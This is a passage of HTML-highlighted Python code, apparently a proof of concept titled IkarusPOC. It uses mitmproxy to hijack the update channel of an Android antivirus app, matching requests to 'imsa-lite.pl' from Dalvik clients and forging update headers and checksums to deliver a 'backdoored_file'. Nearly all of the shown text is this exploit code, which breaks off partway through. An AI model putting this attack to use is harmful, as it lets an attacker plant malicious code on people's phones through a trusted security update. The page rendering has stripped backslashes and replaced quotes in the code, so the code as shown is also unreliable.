data-line=\"crayon-59e530663aac6930267215-103\">103<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-104\">104<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-1\"><span class=\"crayon-p\">#!\/usr\/bin\/env python2<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-2\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">os<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-3\"><span class=\"crayon-st\">try<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-4\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">from <\/span><span class=\"crayon-e\">mitmproxy <\/span><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">controller<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">proxy<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">platform<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-5\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">from <\/span><span class=\"crayon-v\">mitmproxy<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">proxy<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">server <\/span><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">ProxyServer<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-6\"><span class=\"crayon-v\">except<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-7\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">from <\/span><span class=\"crayon-e\">libmproxy <\/span><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">controller<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">proxy<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">platform<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-8\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">from <\/span><span class=\"crayon-v\">libmproxy<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">proxy<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">server <\/span><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">ProxyServer<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-9\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-10\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">re<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-11\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-t\">struct<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-12\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">sys<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-13\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">zlib<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-14\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">bz2<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-15\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-16\"><span class=\"crayon-t\">class<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">IkarusPOC<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">controller<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">Master<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-17\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">__init__<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">server<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">backdoored_file<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-18\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">controller<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">Master<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">__init__<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">server<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-19\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">ikarus<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-20\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">crc_file<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-21\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">backdoored_file<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">backdoored_file<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-22\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">to_replace<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-23\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">already_patched<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-24\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">update_number<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-25\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-26\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">win_header<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-27\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">update_header<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;x49x4Bx55x50x00x00x00x00x3Cx00x00x00x00x00x00x00&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-28\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">update_header<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00&#8221;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-29\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">update_header<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">pack<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;&lt;I&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">to_replace<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-p\"># update number<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-30\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">update_header<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">pack<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;&lt;I&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">crc_file<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-p\"># checksum<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-31\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">update_header<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-32\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">update_header<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;x00x00x00x00&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-33\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-34\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">run<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-35\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">try<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-36\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">controller<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">Master<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">run<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-37\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">except <\/span><span class=\"crayon-v\">KeyboardInterrupt<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-38\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">shutdown<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-39\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-40\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">crc_stream<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">a_string<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-41\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">prev<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-42\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">zlib<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">crc32<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">a_string<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">prev<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xFFFFFFFF<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-43\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-44\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">crc<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">some_file<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-45\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">prev<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-46\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">for<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">eachLine <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">open<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">some_file<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-s\">&#8220;rb&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-47\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">prev<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">zlib<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">crc32<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">eachLine<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">prev<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-48\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">crc_file<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">prev<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xFFFFFFFF<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-49\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[*] crc_file&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">crc_file<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-50\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-51\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">handle_request<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-52\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">hid<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">request<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">host<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">request<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">port<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-53\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">reply<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-54\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-55\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">handle_response<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-56\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[*] flow.request.host:&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">request<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">host<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-57\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;cgi-bin\/imsa-lite.pl&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">request<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">path <\/span><span class=\"crayon-st\">and<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;Dalvik&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">request<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;User-Agent&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">and<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">already_patched<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;=<\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-58\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">content<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">reply<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">obj<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">response<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-i\">content<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-59\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">re<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">compile<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;antispam[s|t].*n&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-60\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">result<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">search<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">content<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-61\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">the_result<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">result<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">group<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-62\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-63\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">original_update_number<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">for<\/span><span class=\"crayon-h\"> <\/span><span 